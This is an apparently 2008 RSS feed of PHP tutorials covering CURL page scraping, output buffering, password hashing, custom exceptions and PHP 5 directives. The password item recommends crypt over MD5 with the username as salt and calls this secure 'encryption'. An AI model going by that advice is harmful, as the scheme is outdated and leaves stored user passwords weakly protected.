&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;code&gt;&amp;lt;/html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/font&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;In this code, the CURL package returns the contents of a web page into a string variable. We then search this variable for the portion we are interested in, copy it and then output it to the browser.&lt;/font&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Pay special attention to the bolded items above. Substitute the page address you are interested in excerpting for &amp;quot;www.thedomain/page.html&amp;quot; making sure that you don?t delete or overwrite &amp;quot;http://&amp;quot;.&amp;nbsp; Retrieve the &amp;quot;start.txt&amp;quot; and the &amp;quot;end.txt&amp;quot; files and replace &amp;quot;yourstart&amp;quot; and &amp;quot;yourend&amp;quot; with the contents of those files, being sure to preserve the quotation marks. With these simple changes you can incorporate specific content from an external web site into your own site.&lt;/font&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;We?ve chosen to display this page extract in its own page but you may insert this excerpt into an existing page by simply copying the PHP code and ignoring the HTML. Keep the reference to the originating page ? you want to give credit where credit is due.&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Conclusion&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;Should the page that you are excerpting change you will have to adjust the code accordingly. The originating host may remove the page altogether so check regularly to be sure that it is still there.&lt;/font&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0in 0in 0.0001pt;&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;If you know something about PHP have a look at the documentation of the CURL package. The &amp;quot;http&amp;quot; protocol is probably most commonly used with CURL but other protocols such as &amp;quot;ftp&amp;quot; and telnet are also supported. With a little imagination I?m sure you can find many more uses for this package.&lt;/font&gt;&lt;/p&gt;
&lt;p class=&quot;MsoNormal&quot;&gt;&lt;font face=&quot;Times New Roman&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/font&gt;&lt;/p&gt;</description>
								         <pubDate>Mon, 01 Sep 2008 02:42:53 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/19/Page-Excerpts-Using-CURL---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Output Buffering in PHP - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/18/Output-Buffering-in-PHP---By-PHP-Expert</link>
								         <description>&lt;p&gt;
&lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;meta content=&quot;Word.Document&quot; name=&quot;ProgId&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Generator&quot; /&gt;
&lt;meta content=&quot;Microsoft Word 10&quot; name=&quot;Originator&quot; /&gt;
&lt;link href=&quot;file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_filelist.xml&quot; rel=&quot;File-List&quot; /&gt;&lt;/p&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:WordDocument&gt;
&lt;w:View&gt;Normal&lt;/w:View&gt;
&lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
&lt;w:Compatibility&gt;
&lt;w:BreakWrappedTables /&gt;
&lt;w:SnapToGridInCell /&gt;
&lt;w:WrapTextWithPunct /&gt;
&lt;w:UseAsianBreakRules /&gt;
&lt;/w:Compatibility&gt;
&lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;
&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:&quot;&quot;;
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
h2
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	mso-outline-level:2;
	font-size:18.0pt;
	font-family:&quot;Times New Roman&quot;;
	font-weight:bold;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
p
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
pre
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
	font-size:10.0pt;
	font-family:&quot;Courier New&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
tt
	{font-family:&quot;Courier New&quot;;
	mso-ascii-font-family:&quot;Courier New&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;
	mso-hansi-font-family:&quot;Courier New&quot;;
	mso-bidi-font-family:&quot;Courier New&quot;;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
--&gt;
&lt;/style&gt;&lt;/p&gt;
&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:&quot;Table Normal&quot;;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:&quot;&quot;;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:&quot;Times New Roman&quot;;}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p&gt;&lt;strong&gt;Output Buffering in PHP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;How to capture content for server-side caching in PHP.&lt;/p&gt;
&lt;p&gt;Since version 4, PHP has supported output buffering. Output buffering allows you to have all output from a script stored in a buffer instead of having it immediately transmitted to the client.&lt;/p&gt;
&lt;p&gt;If you wanted to capture the output of a script before output buffering, you would have to write this to a string and then echo that when the string is complete:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;$output = &amp;quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;quot;;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;$output .= &amp;quot;Today is &amp;quot;.strftime(&amp;quot;%A, %B %e %Y&amp;quot;);&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;$output .= &amp;quot;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&amp;quot;;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;echo $output;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;cache($output);&lt;/pre&gt;
&lt;pre&gt;?&amp;gt;&lt;/pre&gt;
&lt;p&gt;If you are old enough to have learned Web programming with Perl-based CGI scripts, this likely sends a shiver of painful remembrance down your spine! If you're not that old, you can just imagine an era when Web scripts looked like this.&lt;/p&gt;
&lt;p&gt;With output buffering, the script looks normal again. All you do is add this before you start actually generating the page:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php ob_start(); ?&amp;gt;&lt;/pre&gt;
&lt;p&gt;This turns on output buffering support. All output henceforth is stored in an internal buffer. Then you add the page code exactly as you would in a regular script:&lt;/p&gt;
&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; width=&quot;100%&quot; style=&quot;width: 100%;&quot; class=&quot;MsoNormalTable&quot;&gt;
    &lt;thead&gt;
        &lt;tr style=&quot;&quot;&gt;
            &lt;td style=&quot;padding: 0in;&quot;&gt;
            &lt;p align=&quot;center&quot; style=&quot;text-align: center;&quot; class=&quot;MsoNormal&quot;&gt;&lt;strong&gt;HTML Code&lt;o:p&gt;&lt;/o:p&gt;&lt;/strong&gt;&lt;/p&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&amp;lt;HTML&amp;gt;&lt;/pre&gt;
&lt;pre&gt;&amp;lt;BODY&amp;gt;&lt;/pre&gt;
&lt;pre&gt;Today is &amp;lt;?= strftime(&amp;quot;%A, %B %e %Y&amp;quot;) ?&amp;gt;&lt;/pre&gt;
&lt;pre&gt;&amp;lt;/BODY&amp;gt;&lt;/pre&gt;
&lt;pre&gt;&amp;lt;/HTML&amp;gt;&lt;/pre&gt;
&lt;p&gt;After all the content is generated, you grab the content and flush it:&lt;/p&gt;
&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; width=&quot;100%&quot; style=&quot;width: 100%;&quot; class=&quot;MsoNormalTable&quot;&gt;
    &lt;thead&gt;
        &lt;tr style=&quot;&quot;&gt;
            &lt;td style=&quot;padding: 0in;&quot;&gt;
            &lt;p align=&quot;center&quot; style=&quot;text-align: center;&quot; class=&quot;MsoNormal&quot;&gt;&lt;strong&gt;PHP Code&lt;o:p&gt;&lt;/o:p&gt;&lt;/strong&gt;&lt;/p&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;$output = ob_get_contents();&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;ob_end_flush();&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp; &lt;/span&gt;cache($output);&lt;/pre&gt;
&lt;pre&gt;?&amp;gt;&lt;/pre&gt;
&lt;p&gt;&lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;ob_get_contents()&lt;/span&gt;&lt;/tt&gt; returns the current contents of the output buffer as a string. You can then do whatever you want with it. &lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;ob_end_flush()&lt;/span&gt;&lt;/tt&gt; stops buffering and sends the current contents of the buffer to the client. If you wanted to just grab the contents into a string and not send them to the browser, you could call &lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;ob_end_clean()&lt;/span&gt;&lt;/tt&gt; to end buffering and destroy the contents of the buffer. It is important to note that both &lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;ob_end_flush()&lt;/span&gt;&lt;/tt&gt; and &lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;ob_end_clean()&lt;/span&gt;&lt;/tt&gt; destroy the buffer when they are done. In order to capture the buffer's contents for later use, you need to make sure to call &lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;ob_get_contents()&lt;/span&gt;&lt;/tt&gt; before you end buffering.&lt;/p&gt;
&lt;h2&gt;Using Output Buffering with &lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;header()&lt;/span&gt;&lt;/tt&gt; and &lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;setcookie()&lt;/span&gt;&lt;/tt&gt;&lt;/h2&gt;
&lt;p&gt;A number of the online examples for output buffering use as an example of sending headers after page text. Normally if you do this:&lt;/p&gt;
&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; width=&quot;100%&quot; style=&quot;width: 100%;&quot; class=&quot;MsoNormalTable&quot;&gt;
    &lt;thead&gt;
        &lt;tr style=&quot;&quot;&gt;
            &lt;td style=&quot;padding: 0in;&quot;&gt;
            &lt;p align=&quot;center&quot; style=&quot;text-align: center;&quot; class=&quot;MsoNormal&quot;&gt;&lt;strong&gt;PHP Code&lt;o:p&gt;&lt;/o:p&gt;&lt;/strong&gt;&lt;/p&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&amp;lt;?php&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;print &amp;quot;Hello World&amp;quot;;&lt;/pre&gt;
&lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;header(&amp;quot;Content-Type: text/plain&amp;quot;);&lt;/pre&gt;
&lt;pre&gt;?&amp;gt;&lt;/pre&gt;
&lt;p&gt;You get this error:&lt;/p&gt;
&lt;p&gt;&lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;Cannot add header information - headers already sent&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;In an HTTP response, all the headers must be sent at the beginning of the response, before any content (hence the name headers). Because PHP by default sends out content as it comes in, when you send headers after page text, you get an error. With output buffering, though, the transmission of the body of the response awaits a call to &lt;tt&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;flush()&lt;/span&gt;&lt;/tt&gt;, and the headers are sent synchronously. Thus the following works fine:&lt;/p&gt;
&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; width=&quot;100%&quot; style=&quot;width: 100%;&quot; class=&quot;MsoNormalTable&quot;&gt;
    &lt;thead&gt;
        &lt;tr style=&quot;&quot;&gt;
            &lt;td style=&quot;padding: 0in;&quot;&gt;
            &lt;p align=&quot;center&quot; style=&quot;text-align: center;&quot; class=&quot;MsoNormal&quot;&gt;&lt;strong&gt;PHP Code&lt;o:p&gt;&lt;/o:p&gt;&lt;/strong&gt;&lt;/p&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
        &lt;tr style=&quot;&quot;&gt;
            &lt;td style=&quot;padding: 0in;&quot;&gt;
            &lt;pre&gt;&amp;lt;?php&lt;/pre&gt;
            &lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ob_start();&lt;/pre&gt;
            &lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;print &amp;quot;Hello World&amp;quot;;&lt;/pre&gt;
            &lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;header(&amp;quot;Content-Type: text/plain&amp;quot;);&lt;/pre&gt;
            &lt;pre&gt;&lt;span style=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ob_end_flush();&lt;/pre&gt;
            &lt;pre&gt;?&amp;gt;&lt;/pre&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;&quot;&gt;
            &lt;td style=&quot;padding: 0in;&quot;&gt;
            &lt;p class=&quot;MsoNormal&quot;&gt;&lt;a href=&quot;javascript:return%20false;&quot;&gt;Select all&lt;/a&gt;&lt;/p&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;I see this as less an example of the usefulness of output buffering than as an illustration of how some sloppy coding practices. Sending headers after content is generated is a bad design choice because it forces all code that employs it to always use output buffering. Needlessly forcing design constraints like these on code is a bad choice.&lt;/p&gt;</description>
								         <pubDate>Fri, 29 Aug 2008 10:34:22 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/18/Output-Buffering-in-PHP---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Password Encryption in PHP - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/17/Password-Encryption-in-PHP---By-PHP-Expert</link>
								         <description>&lt;p&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
&lt;meta name=&quot;ProgId&quot; content=&quot;Word.Document&quot; /&gt;
&lt;meta name=&quot;Generator&quot; content=&quot;Microsoft Word 10&quot; /&gt;
&lt;meta name=&quot;Originator&quot; content=&quot;Microsoft Word 10&quot; /&gt;
&lt;link rel=&quot;File-List&quot; href=&quot;file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtml1\01\clip_filelist.xml&quot; /&gt;&lt;/p&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
&lt;w:WordDocument&gt;
&lt;w:View&gt;Normal&lt;/w:View&gt;
&lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
&lt;w:Compatibility&gt;
&lt;w:BreakWrappedTables /&gt;
&lt;w:SnapToGridInCell /&gt;
&lt;w:WrapTextWithPunct /&gt;
&lt;w:UseAsianBreakRules /&gt;
&lt;/w:Compatibility&gt;
&lt;w:BrowserLevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;
&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;
&lt;p&gt;&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:&quot;&quot;;
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
p
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:&quot;Times New Roman&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;}
code
	{font-family:&quot;Courier New&quot;;
	mso-ascii-font-family:&quot;Courier New&quot;;
	mso-fareast-font-family:&quot;Times New Roman&quot;;
	mso-hansi-font-family:&quot;Courier New&quot;;
	mso-bidi-font-family:&quot;Courier New&quot;;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
--&gt;
&lt;/style&gt;&lt;/p&gt;
&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:&quot;Table Normal&quot;;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:&quot;&quot;;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:&quot;Times New Roman&quot;;}
&lt;/style&gt;
&lt;![endif]--&gt;
&lt;p&gt;If you run a serious webpage where you save login information for your members to a database it is generally a very good idea to perform some kind of encryption on these password to prevent the information to be shared in case your datebase would be hacked.&lt;/p&gt;
&lt;p&gt;Encryption is very easy to do with PHP in fact all you need to perform a &amp;ldquo;one way encryption&amp;rdquo; is the function crypt(). As an example say that we have the variables $user and $password and we want to encrypt the $password variable before we store it in the database. To do this we use the following function:&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;&quot;&gt;&lt;br /&gt;
&lt;code&gt;$crypted_pass = crypt(md5($password),md5($user));&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;What this does is that it generates an encrypted string from the &lt;a href=&quot;http://en.wikipedia.org/wiki/Md5&quot;&gt;md5&lt;/a&gt; encoded $password with the $user string as &lt;a href=&quot;http://en.wikipedia.org/wiki/Salt_%28cryptography%29&quot;&gt;security salt&lt;/a&gt; and voila we have an encrypted string ready to be saved to the database. This string can not be decrypted so if we want to use it to verify if someone typed in a correct password for a specific user we need to encode the input in the same way and compare it to the encrypted password.&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;&quot;&gt;&lt;code&gt;$try_password = crypt(md5($password),md5($user));&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp;&amp;nbsp;if($crypted_pass == $try_password)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp;&amp;nbsp; echo &amp;quot;success&amp;quot;;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;else&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp;&amp;nbsp; echo &amp;quot;wrong password&amp;quot;;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;Now with the passwords encrypted we will buy enough time to be able to change everyones user info in case of the database being hacked and the information leaked.&lt;/span&gt;&lt;/p&gt;</description>
								         <pubDate>Fri, 29 Aug 2008 10:34:43 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/17/Password-Encryption-in-PHP---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>Exception Handling - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/16/Exception-Handling---By-PHP-Expert</link>
								         <description>&lt;p&gt;PHP has some really sweet new features and one of them is the ability to throw and catch exceptions.&lt;br /&gt;
When I was browsing Sitepoint I read a post saying that the only thing they need to do is get rid of the class-&amp;quot;hinting&amp;quot; in the catch clause. I guess they didn't get the point of extending the base Exception class.&lt;br /&gt;
I've found extending the Exception class useful when reporting the errors back from a Database connection object. Basically I wanted to return a message array to describe the problem in English, then with additional messages from MySQL. This is really just so I can separate HTML from the PHP, for instance I could just return &amp;quot;Could not connect to database: &amp;quot; . mysql_error() and be done with it, but if a design changes and strong isn't applicable or something, it's not that much good. Ok, so perhaps I'm just being anally-retentive but it's cool to demonstrate anyway.&lt;br /&gt;
class DatabaseException extends Exception&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; private $error;&amp;nbsp;&amp;nbsp;&amp;nbsp; (1)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; function __construct($error) (2)&lt;br /&gt;
&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;error = $error;&lt;br /&gt;
&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; function getMessageArray()&lt;br /&gt;
&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return $this-&amp;gt;error;&lt;br /&gt;
&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
1.&amp;nbsp;&amp;nbsp;&amp;nbsp; Yup, you use either &amp;quot;public&amp;quot; &amp;quot;private&amp;quot; or &amp;quot;protected&amp;quot; when declaring variables now. Unfortunately they're not C++ style-so you have to use them for each variable. &lt;br /&gt;
2.&amp;nbsp;&amp;nbsp;&amp;nbsp; Also you use __construct for constructors. &lt;br /&gt;
Next the simple database class:&lt;br /&gt;
class Database&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; private $host;&lt;br /&gt;
&amp;nbsp; private $password;&lt;br /&gt;
&amp;nbsp; private $user;&lt;br /&gt;
&amp;nbsp; private $database;&lt;br /&gt;
&amp;nbsp; public $connection_tracker;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; function __construct($host, $user, $password, $database)&lt;br /&gt;
&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;host = $host;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;password = $password;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;user = $user;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;database = $database;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $this-&amp;gt;connect();&lt;br /&gt;
&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; function connect()&lt;br /&gt;
&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!$this-&amp;gt;connection_tracker = @mysql_connect($this-&amp;gt;host, $this-&amp;gt;user, $this-&amp;gt;password))&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $error_array =&amp;nbsp; array ( (1)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;message&amp;quot; =&amp;gt; &amp;quot;Could not connect to MySQL daemon&amp;quot;,&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;quot;database_reports&amp;quot; =&amp;gt; mysql_error()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; );&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; throw new DatabaseException($error_array);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp; }&lt;br /&gt;
}&lt;br /&gt;
1.&amp;nbsp;&amp;nbsp;&amp;nbsp; Passing the array of messages we want to the class to access: &lt;br /&gt;
try&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; $Database = new Database('localhost', 'rot', 'discovery', 'table'); (1)&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
catch (DatabaseException $e)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; $error_messages = $e-&amp;gt;getMessageArray();&lt;br /&gt;
&amp;nbsp; echo $error_messages['message'];&lt;br /&gt;
&amp;nbsp; echo $error_messages['database_reports'];&lt;br /&gt;
}&lt;br /&gt;
1.&amp;nbsp;&amp;nbsp;&amp;nbsp; Username supposed to be root. &lt;br /&gt;
Pretty cool eh? Now you can put the HTML around it as required by the design. Anally retentive, sure, but I'm sure you can think of some other uses from extending the Exception class&lt;/p&gt;</description>
								         <pubDate>Fri, 29 Aug 2008 10:34:52 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/16/Exception-Handling---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>New Directives - By PHP Expert</title>
								         <link>http://www.nileshpawar.com/15/New-Directives---By-PHP-Expert</link>
								         <description>&lt;p&gt;There were some new php.ini directives introduced in PHP 5. Here is a list of them: mail.force_extra_parameters - Force the addition of the specified parameters to be passed as extra parameters to the sendmail binary. These parameters will always replace the value of the 5th parameter to mail(), even in safe mode&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
register_long_arrays - allow/disallow PHP to register the deprecated long $HTTP_*_VARS&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
session.hash_function - select a hash function (MD5 or SHA-1)&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
session.hash_bits_per_character - define how many bits are stored in each character when converting the binary hash data to something readable (from 4 to 6)&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
zend.ze1_compatibility_mode - Enable compatibility mode with Zend Engine 1 (PHP 4)&lt;/p&gt;</description>
								         <pubDate>Fri, 29 Aug 2008 10:35:06 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/15/New-Directives---By-PHP-Expert</guid>
								      </item>								      <item>
								         <title>New Functions in PHP 5</title>
								         <link>http://www.nileshpawar.com/14/New-Functions-in-PHP-5</link>
								         <description>&lt;p&gt;In PHP 5 there are some new functions. Here is the list of them: &lt;br /&gt;
